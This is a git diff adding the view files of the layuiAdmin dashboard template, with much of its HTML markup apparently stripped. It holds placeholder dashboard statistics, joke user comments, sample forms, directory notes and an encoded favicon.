
        +
        +
        +
        +
        +
        +
        + 下载 + +
        +
        +

        33,555

        +

        + 新下载 + 10% +

        +
        +
        +
        +
        +
        +
        + 收入 + +
        +
        + +

        999,666

        +

        + 总收入 + *** +

        +
        +
        +
        +
        +
        +
        + 活跃用户 + +
        +
        + +

        66,666

        +

        + 最近一个月 + 15% +

        +
        +
        +
        +
        +
        +
        + 访问量 +
        + + +
        +
        +
        +
        +
        + +
        +
        +
        +

        月访问数

        + 同上期增长 +
        +
        +
        +
        +
        +

        月下载数

        + 同上期增长 +
        +
        +
        +
        +
        +

        月收入

        + 同上期增长 +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        用户留言
        +
        +
          +
        • +

          贤心

          +

          作为 layui 官方推出的后台模板,从初版的饱受争议,到后续的埋头丰富,逐步占据了国内后台系统应用的主要市场。

          + 5月30日 00:00 + 回复 +
        • +
        • +

          诸葛亮

          +

          皓首匹夫!苍髯老贼!你枉活九十有六,一生未立寸功,只会摇唇鼓舌!助曹为虐!一条断脊之犬,还敢在我军阵前狺狺狂吠,我从未见过有如此厚颜无耻之人!

          + 5月02日 00:00 + 回复 +
        • +
        • +

          胡歌

          +

          你以为只要长得漂亮就有男生喜欢?你以为只要有了钱漂亮妹子就自己贴上来了?你以为学霸就能找到好工作?我告诉你吧,这些都是真的!

          + 5月11日 00:00 + 回复 +
        • +
        • +

          杜甫

          +

          人才虽高,不务学问,不能致圣。刘向十日画一水,五日画一石。

          + 4月11日 00:00 + 回复 +
        • +
        • +

          鲁迅

          +

          路本是无所谓有和无的,走的人多了,就没路了。。

          + 4月28日 00:00 + 回复 +
        • +
        • +

          张爱玲

          +

          于千万人之中遇到你所要遇到的人,于千万年之中,时间的无涯的荒野中,没有早一步,也没有晚一步,刚巧赶上了,那也没有别的话好说,唯有轻轻的问一声:“噢,原来你也在这里?”

          + 4月11日 00:00 + 回复 +
        • +
        +
        +
        +
        +
        +
        +
        +
        +
        本周活跃用户列表
        +
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        用户名最后登录时间状态获得赞
        胡歌 11:20在线22
        彭于晏 10:40在线21
        靳东 01:30离线66
        吴尊 21:18离线45
        许上进 09:30在线21
        小蚊子 21:18在线45
        贤心 09:30在线21
        +
        +
        +
        +
        +
        +
        项目进展
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        用户全国分布
        +
        +
        +
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        排名地区人数
        1浙江62310
        2上海59190
        3广东55891
        4北京51919
        5山东39231
        6湖北37109
        +
        +
        + +
        +
        +
        +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/iframe/layer/iframe.html b/dist/views/iframe/layer/iframe.html new file mode 100644 index 0000000..32ac88d --- /dev/null +++ b/dist/views/iframe/layer/iframe.html @@ -0,0 +1,83 @@ + + + + + + + layer iframe 示例 + + + + + + + + + + +
        + + + + +
        + + + + + diff --git a/dist/views/iframe/link/baidu.html b/dist/views/iframe/link/baidu.html new file mode 100644 index 0000000..e814191 --- /dev/null +++ b/dist/views/iframe/link/baidu.html @@ -0,0 +1,3 @@ + +百度 + \ No newline at end of file diff --git a/dist/views/iframe/link/layui.html b/dist/views/iframe/link/layui.html new file mode 100644 index 0000000..580a526 --- /dev/null +++ b/dist/views/iframe/link/layui.html @@ -0,0 +1,3 @@ + +layui前端框架 + \ No newline at end of file diff --git a/dist/views/iframe/link/layuiAdmin.html b/dist/views/iframe/link/layuiAdmin.html new file mode 100644 index 0000000..5616df3 --- /dev/null +++ b/dist/views/iframe/link/layuiAdmin.html @@ -0,0 +1,3 @@ + +layuiAdmin官网 + \ No newline at end of file diff --git a/dist/views/iframe/说明.txt b/dist/views/iframe/说明.txt new file mode 100644 index 0000000..5414a8e --- /dev/null +++ b/dist/views/iframe/说明.txt @@ -0,0 +1,3 @@ + +尽管 layuiAdmin 采用的是单页面应用开发模式,但有时你可能需要 iframe 嵌入一个页面,layuiAdmin 对此做了支持。 +该目录存放的就是 iframe 页面的视图文件。 \ No newline at end of file diff --git a/dist/views/index.html b/dist/views/index.html new file mode 100644 index 0000000..02cb238 --- /dev/null +++ b/dist/views/index.html @@ -0,0 +1,324 @@ + +
        +
        +
        +
        + + +
        +
        +
        数据概览
        +
        + + + +
        +
        +
        +
        +
          +
        • 今日热搜
        • +
        • 今日热帖
        • +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        + +
        +
        +
        版本信息
        +
        + + + + + + + + + + + + + + + + + + + + + + + +
        当前版本 + + 检查更新 +
        基于框架 + +
        主要特色单页面 / 响应式 / 清爽 / 极简
        获取渠道 + +
        +
        +
        + +
        +
        效果报告
        +
        +
        +

        转化率(日同比 28%

        +
        +
        +
        +

        签到率(日同比 11%

        +
        +
        +
        +
        + +
        +
        实时监控
        +
        +
        +

        CPU使用率

        +
        +
        +
        +

        内存占用率

        +
        +
        +
        +
        + + + +
        +
        + 作者心语 + +
        +
        +

        一直以来,layui 秉承无偿开源的初心,虔诚致力于服务各层次前后端 Web 开发者,在商业横飞的当今时代,这一信念从未动摇。即便身单力薄,仍然重拾决心,埋头造轮,以尽可能地填补产品本身的缺口。

        +

        在过去的一段的时间,我一直在寻求持久之道,已维持你眼前所见的一切。而 layuiAdmin 是我们尝试解决的手段之一。我相信真正有爱于 layui 生态的你,定然不会错过这一拥抱吧。

        +

        子曰:君子不用防,小人防不住。请务必通过官网正规渠道,获得 layuiAdmin

        +

        —— 贤心(layui.com

        +
        +
        +
        + +
        +
        + + + + diff --git a/dist/views/layout.html b/dist/views/layout.html new file mode 100644 index 0000000..3607895 --- /dev/null +++ b/dist/views/layout.html @@ -0,0 +1,199 @@ +
        +
        + + + +
        + + +
        +
        + +
        +
        + + + + + + + +
        +
        +
        + + +
        + +
        diff --git a/dist/views/senior/echarts/bar.html b/dist/views/senior/echarts/bar.html new file mode 100644 index 0000000..bf47f23 --- /dev/null +++ b/dist/views/senior/echarts/bar.html @@ -0,0 +1,108 @@ + +柱状图 + + + +
        +
        +
        +
        +
        标准柱状图
        +
        + + + +
        +
        +
        +
        堆积柱状图
        +
        + + + +
        +
        +
        +
        不等距柱形图
        +
        + + + +
        +
        +
        +
        彩虹柱形图
        +
        + + + +
        +
        +
        +
        +
        +
        标准条形图
        +
        + + + +
        +
        +
        +
        堆积条形图
        +
        + + + +
        +
        +
        +
        旋风条形图
        +
        + + + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/senior/echarts/line.html b/dist/views/senior/echarts/line.html new file mode 100644 index 0000000..8121cff --- /dev/null +++ b/dist/views/senior/echarts/line.html @@ -0,0 +1,97 @@ + +折线图 + + + +
        +
        +
        +
        +
        标准折线图
        +
        + + + +
        +
        +
        +
        堆积折线图
        +
        + + + +
        +
        +
        +
        不等距折线图
        +
        + + + +
        +
        +
        +
        +
        +
        堆积面积图
        +
        + + + +
        +
        +
        +
        面积图
        +
        + + + +
        +
        +
        +
        对数轴
        +
        + + + +
        +
        +
        + +
        +
        + + \ No newline at end of file diff --git a/dist/views/senior/echarts/map.html b/dist/views/senior/echarts/map.html new file mode 100644 index 0000000..43b07e0 --- /dev/null +++ b/dist/views/senior/echarts/map.html @@ -0,0 +1,34 @@ + +地图 + + + +
        +
        +
        +
        +
        地图
        +
        + + + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/senior/im/index.html b/dist/views/senior/im/index.html new file mode 100644 index 0000000..0709751 --- /dev/null +++ b/dist/views/senior/im/index.html @@ -0,0 +1,461 @@ + +社交聊天 + + + + +
        +
        +
        +
        +
        面板外的操作示例
        +
        + +
        + + + + + + +
        + + + + + + + + +
        + + + + + + + +
        + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/senior/im/kefu.html b/dist/views/senior/im/kefu.html new file mode 100644 index 0000000..4f57785 --- /dev/null +++ b/dist/views/senior/im/kefu.html @@ -0,0 +1,82 @@ + +客服系统 + + + + +
        +
        +
        +
        +
        面板外的操作示例
        +
        + +
        + + +
        + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/senior/说明.txt b/dist/views/senior/说明.txt new file mode 100644 index 0000000..055b69e --- /dev/null +++ b/dist/views/senior/说明.txt @@ -0,0 +1,2 @@ + +该目录存放【高级】的视图文件 \ No newline at end of file diff --git a/dist/views/set/system/email.html b/dist/views/set/system/email.html new file mode 100644 index 0000000..5ce0d3c --- /dev/null +++ b/dist/views/set/system/email.html @@ -0,0 +1,68 @@ + + +邮件服务 + + + +
        +
        +
        +
        +
        邮件服务
        +
        + +
        +
        + +
        + +
        +
        如:smtp.163.com
        +
        +
        + +
        + +
        +
        一般为 25 或 465
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        +
        + +
        +
        +
        + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/set/system/website.html b/dist/views/set/system/website.html new file mode 100644 index 0000000..6471e3a --- /dev/null +++ b/dist/views/set/system/website.html @@ -0,0 +1,93 @@ +网站设置 + + + +
        +
        +
        +
        +
        网站设置
        +
        + +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        分钟
        +
        本地开发一般推荐设置为 0,线上环境建议设置为 10。
        +
        +
        + +
        + +
        +
        KB
        +
        提示:1 M = 1024 KB
        +
        +
        + +
        + +
        +
        + +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        +
        + +
        +
        +
        + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/set/user/info.html b/dist/views/set/user/info.html new file mode 100644 index 0000000..a1a2616 --- /dev/null +++ b/dist/views/set/user/info.html @@ -0,0 +1,98 @@ + +设置我的资料 + + + +
        +
        +
        +
        +
        设置我的资料
        +
        + +
        +
        + +
        + +
        +
        当前角色不可更改为其它角色
        +
        +
        + +
        + +
        +
        不可修改。一般用于后台登入名
        +
        +
        + +
        + +
        +
        +
        + +
        + + +
        +
        +
        + +
        + +
        +
        + + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        +
        + + +
        +
        +
        + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/set/user/password.html b/dist/views/set/user/password.html new file mode 100644 index 0000000..ab4eb1d --- /dev/null +++ b/dist/views/set/user/password.html @@ -0,0 +1,53 @@ +设置我的密码 + + + +
        +
        +
        +
        +
        修改密码
        +
        + +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        6到16个字符
        +
        +
        + +
        + +
        +
        +
        +
        + +
        +
        +
        + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/set/说明.txt b/dist/views/set/说明.txt new file mode 100644 index 0000000..d556487 --- /dev/null +++ b/dist/views/set/说明.txt @@ -0,0 +1,2 @@ + +该目录存放【设置】的视图文件 \ No newline at end of file diff --git a/dist/views/system/about.html b/dist/views/system/about.html new file mode 100644 index 0000000..0d56ded --- /dev/null +++ b/dist/views/system/about.html @@ -0,0 +1,22 @@ + +
        版本信息
        +
        + + +
        + +
        关于版权
        +
        + +
        + layuiAdmin 受国家计算机软件著作权保护(登记号:2018SR410669),必须经官网授权才可获得源文件使用权。不得恶意分享产品源代码、二次转售等,违者将承担相应的法律责任。 +

        详见:《layui 付费产品服务条款》 +
        +

        © 2020 layui.com 版权所有

        +
        \ No newline at end of file diff --git a/dist/views/system/get.html b/dist/views/system/get.html new file mode 100644 index 0000000..83fc7c3 --- /dev/null +++ b/dist/views/system/get.html @@ -0,0 +1,3 @@ + +授权 + \ No newline at end of file diff --git a/dist/views/system/more.html b/dist/views/system/more.html new file mode 100644 index 0000000..6942ae4 --- /dev/null +++ b/dist/views/system/more.html @@ -0,0 +1,22 @@ + + + diff --git a/dist/views/system/theme.html b/dist/views/system/theme.html new file mode 100644 index 0000000..772b138 --- /dev/null +++ b/dist/views/system/theme.html @@ -0,0 +1,43 @@ + + + + + + diff --git a/dist/views/system/说明.txt b/dist/views/system/说明.txt new file mode 100644 index 0000000..156b4a8 --- /dev/null +++ b/dist/views/system/说明.txt @@ -0,0 +1,3 @@ + +注意: +该目录存放的是 layuiAdmin 的系统模板碎片,很多界面需要依赖到它,请勿剔除。 \ No newline at end of file diff --git a/dist/views/temp.html b/dist/views/temp.html new file mode 100644 index 0000000..cf4646a --- /dev/null +++ b/dist/views/temp.html @@ -0,0 +1,51 @@ + +标题 + +
        +
        + 主页 + 组件 + XXX +
        +
        + + + +
        +
        +
        +
        +
        YYY
        +
        + + + +
        +
        +
        +
        +
        +
        ZZZ
        +
        + + + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/template/addresslist.html b/dist/views/template/addresslist.html new file mode 100644 index 0000000..74ffe0e --- /dev/null +++ b/dist/views/template/addresslist.html @@ -0,0 +1,370 @@ + + +通讯录 + + + +
        + +
        + +
        +
        + + + + + + + + + +
        +
        + + \ No newline at end of file diff --git a/dist/views/template/caller.html b/dist/views/template/caller.html new file mode 100644 index 0000000..bf82e5a --- /dev/null +++ b/dist/views/template/caller.html @@ -0,0 +1,188 @@ + + +客户列表 + + + + + +
        +
        +
        + + + +
        +
        +
          +
        • 所有联系人
        • +
        • 联系方式
        • +
        • 联系地址
        • +
        +
        +
        +
        + +
        +

        胡歌 最近联系:1 小时前

        +

        浙江省广州市越秀区中山六路109

        +
        + + + +
        +
        + +
        +
        + +
        +

        胡歌 最近联系:1 小时前

        +

        浙江省广州市越秀区中山六路109

        +
        + + + +
        +
        + +
        +
        + +
        +

        胡歌 最近联系:1 小时前

        +

        浙江省广州市越秀区中山六路109

        +
        + + + +
        +
        + +
        +
        + +
        +

        胡歌 最近联系:1 小时前

        +

        浙江省广州市越秀区中山六路109

        +
        + + + +
        +
        + +
        +
        + +
        +

        胡歌 最近联系:1 小时前

        +

        浙江省广州市越秀区中山六路109

        +
        + + + +
        +
        + +
        +
        + +
        +

        胡歌 最近联系:1 小时前

        +

        浙江省广州市越秀区中山六路109

        +
        + + + +
        +
        + +
        +
        + +
        +

        胡歌 最近联系:1 小时前

        +

        浙江省广州市越秀区中山六路109

        +
        + + + +
        +
        + +
        +
        + +
        +

        胡歌 最近联系:1 小时前

        +

        浙江省广州市越秀区中山六路109

        +
        + + + +
        +
        + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/template/goodslist.html b/dist/views/template/goodslist.html new file mode 100644 index 0000000..12d11e2 --- /dev/null +++ b/dist/views/template/goodslist.html @@ -0,0 +1,410 @@ + + +商品列表 + + + + + +
        +
        + + + + + + + + + + + + + + + + +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/template/msgboard.html b/dist/views/template/msgboard.html new file mode 100644 index 0000000..eeb7998 --- /dev/null +++ b/dist/views/template/msgboard.html @@ -0,0 +1,97 @@ + + +留言板 + + + +
        + +
        + +
        +
        +
        +
        +
        +
        + +
        +
        + +
        +
        + +
        +
        + + + +
        +
        +
        +
        +
        +
        + + + +
        +

        胡歌

        +

        + + + 从移动 + 11分钟前 + +

        +
        +

        历经打磨,@索尼中国 再献新作品—OLED电视A8F完美诞生。很开心一起参加了A8F的“首映礼”![鼓掌]正如我们演员对舞台的热爱,索尼对科技与艺术的追求才创造出了让人惊喜的作品。作为A1兄弟款,A8F沿袭了黑科技“屏幕发声技术”和高清画质,色彩的出众表现和高端音质,让人在体验的时候如同身临其境。A8F,这次的“视帝”要颁发给你! 索尼官网预售: O网页链接 索尼旗舰店预售:

        +
        +
        + + + +
        +

        胡歌

        +

        + + + 从移动 + 11分钟前 + +

        +
        +

        历经打磨,@索尼中国 再献新作品—OLED电视A8F完美诞生。很开心一起参加了A8F的“首映礼”![鼓掌]正如我们演员对舞台的热爱,索尼对科技与艺术的追求才创造出了让人惊喜的作品。作为A1兄弟款,A8F沿袭了黑科技“屏幕发声技术”和高清画质,色彩的出众表现和高端音质,让人在体验的时候如同身临其境。A8F,这次的“视帝”要颁发给你! 索尼官网预售: O网页链接 索尼旗舰店预售:

        +
        +
        + 更多 +
        +
        + +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/template/personalpage.html b/dist/views/template/personalpage.html new file mode 100644 index 0000000..44c4543 --- /dev/null +++ b/dist/views/template/personalpage.html @@ -0,0 +1,425 @@ + + +个人主页 + + + + + +
        +
        +
        +
        +
        +
        +
        + +
        +

        胡歌

        +

        中国知名演员

        +
        + + + + +
        + +
        +
        +

        + 关于我 +

        + +
        + 胡歌喜欢摄影,也喜欢写字,他视角独特,充满着奇思妙想。他有着极丰富的情感,和对生活的热情,他能点燃观众心中爱的火焰;胡歌积极、乐观、坚强,他脚踏实地地做好每一件事,真诚地对待身边每一个人 +
        +

        + 技能 +

        + +
        +
        +
        +
        +
        +
        +
        +
        +
        +

        52K

        + 关注 +
        +
        +

        72K

        + 以下 +
        +
        +

        5343

        + 照片 +
        +
        +

        4.5

        + 排行 +
        +
        +
        + +
        +
        +
        +
        +
        + + + +
        +
        +

        胡歌普通照片添加了新的照片

        +

        + + + 从移动 + 11分钟前 + +

        +
        +

        历经打磨,@索尼中国 再献新作品—OLED电视A8F完美诞生。很开心一起参加了A8F的“首映礼”![鼓掌]正如我们演员对舞台的热爱,索尼对科技与艺术的追求才创造出了让人惊喜的作品。作为A1兄弟款,A8F沿袭了黑科技“屏幕发声技术”和高清画质,色彩的出众表现和高端音质,让人在体验的时候如同身临其境。A8F,这次的“视帝”要颁发给你! 索尼官网预售: O网页链接 索尼旗舰店预售:

        + + + +
        +
        + + + + +
        +
        + 胡歌 + 3月21日 19:56 +
        +
        一次难忘更难得的拍摄经历 谢谢
        +
        +
        +
        + + + +
        +
        + 胡歌 + 3月21日 19:56 +
        +
        一次难忘更难得的拍摄经历 谢谢
        +
        +
        +
        + + + +
        +
        + 胡歌 + 3月21日 19:56 +
        +
        一次难忘更难得的拍摄经历 谢谢
        +
        +
        + 更多 +
        +
        +
        +
        + + + +
        +
        +

        胡歌普通照片添加了新的照片

        +

        + + + 从移动 + 11分钟前 + +

        +
        +

        历经打磨,@索尼中国 再献新作品—OLED电视A8F完美诞生。很开心一起参加了A8F的“首映礼”![鼓掌]正如我们演员对舞台的热爱,索尼对科技与艺术的追求才创造出了让人惊喜的作品。作为A1兄弟款,A8F沿袭了黑科技“屏幕发声技术”和高清画质,色彩的出众表现和高端音质,让人在体验的时候如同身临其境。A8F,这次的“视帝”要颁发给你! 索尼官网预售: O网页链接 索尼旗舰店预售:

        + +
        +
        +
        +
        +
        +
        +
        +
        +

        + + 画廊 +

        +
        +
        +
        +
        + +
        +
        + +
        +
        + +
        +
        + +
        +
        + +
        +
        + +
        +
        + +
        +
        + +
        +
        + +
        +
        + 更多 +
        +
        +
        +
        + +
        +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/template/search.html b/dist/views/template/search.html new file mode 100644 index 0000000..445cd57 --- /dev/null +++ b/dist/views/template/search.html @@ -0,0 +1,97 @@ + + +搜索结果 + + + + + +
        +
        +
        +
        +
        +

        + 关键词 查询到 + 66 个结果 +

        +

        耗时:350ms

        +
        +
        + +
          +
        • +
          +

          心姐是男是女?

          +

          江湖上关于心姐 的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。

          +
          +
        • +
        • + + + +
          +

          layuiAdmin 成为国内颇受欢迎的通用后台模板解决方案

          +

          作为 layui 官方推出的后台模板,从初版的饱受争议,到后续的埋头丰富,逐步用行动赢得了许多人的关注。目前 layuiAdmin 在国内后台系统应用市场,占据了相当大的份额,几乎已成为开发者的不二选择。这得益于 layui 本身所积累的用户规模,更得益于开发团队的付出,用我们的方式,用心做好一款产品。

          +
          +
        • +
        • +
          +

          心姐是男是女?

          +

          江湖上关于心姐 的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。

          +

          + 前端 + 性别 + +

          +
          +
        • +
        • +
          +

          + 热点 + layuiAdmin 通用后台模板 +

          +

          作为 layui 官方推出的后台模板,从初版的饱受争议,到后续的埋头丰富,逐步用行动赢得了许多人的关注。目前 layuiAdmin 在国内后台系统应用市场,占据了相当大的份额,几乎已成为开发者的不二选择。这得益于 layui 本身所积累的用户规模,更得益于开发团队的付出,用我们的方式,用心做好一款产品。

          +
          +
        • +
        • +
          +

          心姐是男是女?

          +

          江湖上关于心姐 的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。江湖上关于心姐的性别一直是个谜。。

          +
          +
        • +
        +
        + +
        +
        +
        +
        +
        + + diff --git a/dist/views/template/tips/404.html b/dist/views/template/tips/404.html new file mode 100644 index 0000000..0eaac9b --- /dev/null +++ b/dist/views/template/tips/404.html @@ -0,0 +1,15 @@ + +404 页面不存在 + +
        +
        + +
        +

        + 4 + 0 + 4 +

        +
        +
        +
        \ No newline at end of file diff --git a/dist/views/template/tips/error.html b/dist/views/template/tips/error.html new file mode 100644 index 0000000..0c12136 --- /dev/null +++ b/dist/views/template/tips/error.html @@ -0,0 +1,13 @@ + +出错了 + +
        +
        + + +
        + 好像出错了呢 +
        + +
        +
        \ No newline at end of file diff --git a/dist/views/template/tips/test.html b/dist/views/template/tips/test.html new file mode 100644 index 0000000..0c12136 --- /dev/null +++ b/dist/views/template/tips/test.html @@ -0,0 +1,13 @@ + +出错了 + +
        +
        + + +
        + 好像出错了呢 +
        + +
        +
        \ No newline at end of file diff --git a/dist/views/template/user/forget.html b/dist/views/template/user/forget.html new file mode 100644 index 0000000..2ddede3 --- /dev/null +++ b/dist/views/template/user/forget.html @@ -0,0 +1,30 @@ + +忘记密码 + + + + + +
        + 即将开放 +
        + + \ No newline at end of file diff --git a/dist/views/template/user/login.html b/dist/views/template/user/login.html new file mode 100644 index 0000000..897689d --- /dev/null +++ b/dist/views/template/user/login.html @@ -0,0 +1,69 @@ + +登入页面 + +
        +
        + 主页 + 模板 + 登入 +
        +
        + +
        +
        +
        说明:正式登入页面将在 beta3 开放
        +
        + +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        + layui 怎么念? +
        +
        +
        +
        + + + 忘记密码? + +
        +
        +
        + +
        +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/template/user/reg.html b/dist/views/template/user/reg.html new file mode 100644 index 0000000..f694adb --- /dev/null +++ b/dist/views/template/user/reg.html @@ -0,0 +1,30 @@ + +注册页面 + +
        +
        + 主页 + 模板 + 注册 +
        +
        + + + +
        + 即将开放 +
        + + \ No newline at end of file diff --git a/dist/views/template/说明.txt b/dist/views/template/说明.txt new file mode 100644 index 0000000..778c2b3 --- /dev/null +++ b/dist/views/template/说明.txt @@ -0,0 +1,2 @@ + +该目录存放【模板】的视图文件 \ No newline at end of file diff --git a/dist/views/user/administrators/adminform.html b/dist/views/user/administrators/adminform.html new file mode 100644 index 0000000..b4847b1 --- /dev/null +++ b/dist/views/user/administrators/adminform.html @@ -0,0 +1,66 @@ + + +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/user/administrators/list.html b/dist/views/user/administrators/list.html new file mode 100644 index 0000000..eb2cf1f --- /dev/null +++ b/dist/views/user/administrators/list.html @@ -0,0 +1,161 @@ + + +后台管理员 + + + +
        +
        +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        +
        +
        + +
        +
        + + +
        + +
        + + +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/user/administrators/role.html b/dist/views/user/administrators/role.html new file mode 100644 index 0000000..6553cf6 --- /dev/null +++ b/dist/views/user/administrators/role.html @@ -0,0 +1,127 @@ + + +角色管理 + + + +
        +
        +
        +
        +
        + 角色筛选 +
        +
        + +
        +
        +
        +
        +
        + + +
        + +
        + + +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/user/administrators/roleform.html b/dist/views/user/administrators/roleform.html new file mode 100644 index 0000000..a324529 --- /dev/null +++ b/dist/views/user/administrators/roleform.html @@ -0,0 +1,59 @@ + + +
        +
        + +
        + +
        +
        +
        + +
        + + + + + + + + + + + + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + + diff --git a/dist/views/user/forget.html b/dist/views/user/forget.html new file mode 100644 index 0000000..51f3efb --- /dev/null +++ b/dist/views/user/forget.html @@ -0,0 +1,144 @@ + + + + + + + \ No newline at end of file diff --git a/dist/views/user/login.html b/dist/views/user/login.html new file mode 100644 index 0000000..596551a --- /dev/null +++ b/dist/views/user/login.html @@ -0,0 +1,126 @@ + + + + + + + \ No newline at end of file diff --git a/dist/views/user/reg.html b/dist/views/user/reg.html new file mode 100644 index 0000000..8d01f5d --- /dev/null +++ b/dist/views/user/reg.html @@ -0,0 +1,125 @@ + + + + + + + \ No newline at end of file diff --git a/dist/views/user/user/list.html b/dist/views/user/user/list.html new file mode 100644 index 0000000..33ca7ca --- /dev/null +++ b/dist/views/user/user/list.html @@ -0,0 +1,150 @@ + + +网站用户 + + + +
        +
        +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        +
        +
        + +
        +
        + + +
        + +
        + + +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/user/user/userform.html b/dist/views/user/user/userform.html new file mode 100644 index 0000000..564cb15 --- /dev/null +++ b/dist/views/user/user/userform.html @@ -0,0 +1,72 @@ + + +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + +
        + +
        + +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + + \ No newline at end of file diff --git a/dist/views/user/说明.txt b/dist/views/user/说明.txt new file mode 100644 index 0000000..5ab0407 --- /dev/null +++ b/dist/views/user/说明.txt @@ -0,0 +1,2 @@ + +该目录存放【用户】的视图文件 \ No newline at end of file diff --git a/favicon.ico b/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..da24fdfc9a047daea9128a967bc13a3766aea200 GIT binary patch literal 2871 zcmds%X;hN=8o*yfvD^ulO4PE&%<(#|xr8*;xTI*Nv}mIfnyD$K=7y$C-LlldYi_v& zR~aq_w?a@xL@vl-t(UGJm>kpzvuTpAO6yA z=>VW{$jQ|S0D(Y2oa_OlJm3HTk(ZZOkcTKJK-NQKuktzwWSz2#l9IBLl8T1PAEBY5 zrmmr`rUHX$YQkV}U0q%HmM`%c0#Z~|R8>*ksG+fOvldiq^Oxp-nn<4j&~+dP2m%H{ z0XZlL3vPxc2 zR{uHoGZ*TmumQH!9P-1dY%Lj;@|3N)ZT}I>C2hm)R?&k~rP3ZiMW!JK1w#QOuw1xx z-xufqgJgY?UIFoho1a!S9QKGEI*LYZqICCGIO$_{Umq>+q6SWUdT^mu5`kJGrBOsa z?z@^Jl8y=9XMRXN>|=59+Y2DxopWRbxGWXov=`@6!bGoaj3Q1+ZYB~I6IXnTJL)T{ z6Z-v}1kN|yoXQ?n#^AkGuD)UOT*>#1N9+6@;ybm;(FOaTV1}S!CXA((&w_4j5(}X{A+U2kZn-hQL|rgMpLhigR+16CJlfTB*W?OEKdcBV_(+b zP5cNC7>0YfRrNJKJ$~5Q@iOi%yc8(oygz?(uj6D^ytw(J@cUG36Cr6Xv7HnqwD;Dd zj&F-sM@+}g#&?D>aF$DE5ooj*b~4piL)yz%TIYB{Iw3#FtX5R_;nZ==Qm!_*X|Tn;@pGYh0<;5wr7jspCY(=oL=K7yN7K?s_3GT^heB^&NRK?I{h5a zaIR2d(vN+X=)=#u+>B1)d+AGob%7C~^hyrb@^MNPJ_BVA%{`y?^zd5S?(p_=;UYw8 znGyHaZahAoR@2vV3|YP7h=$^x$iwEonf@=la&#_n42rfhD+WJC@+xaF@IEsDQ0s{Z zCZSTk(-|xj;GZuryGybuwr=s|yN9eMX}A^MgQ&^LUZf~M`*_o!&@naR^~#noYu{f{ zl3D*q#4YyB6`0+few;PoJ zP#*85#D)+cxYl%g+sTQ38`GCUYsXE^a#ww1kbclV)}ny*4h}kW?$4y4zMUyvugHX| zr2QX<(}sSgs3QFpC(M#()u`jo;ZZ1jn15HNYQb4fh9>S)b?k#d$c0v=hxL_h5DUS(_xbZRK0lTSN-=yRU_P`14$-c&LhOjPLDYk0R;nN!Any8yz>|}krs!o z^G6V^H@pZ106nX@4{tGb7X${y-6vYm3~coj@p1$r6dRmDqh;501nBhR^X*ovq(E3$ z<{mSY^g;`pb%qd<3o{n{<_u#j^XvK4NJ#gFbRsj+Bc_L6}-P`y2Nnd6B(g!su{4 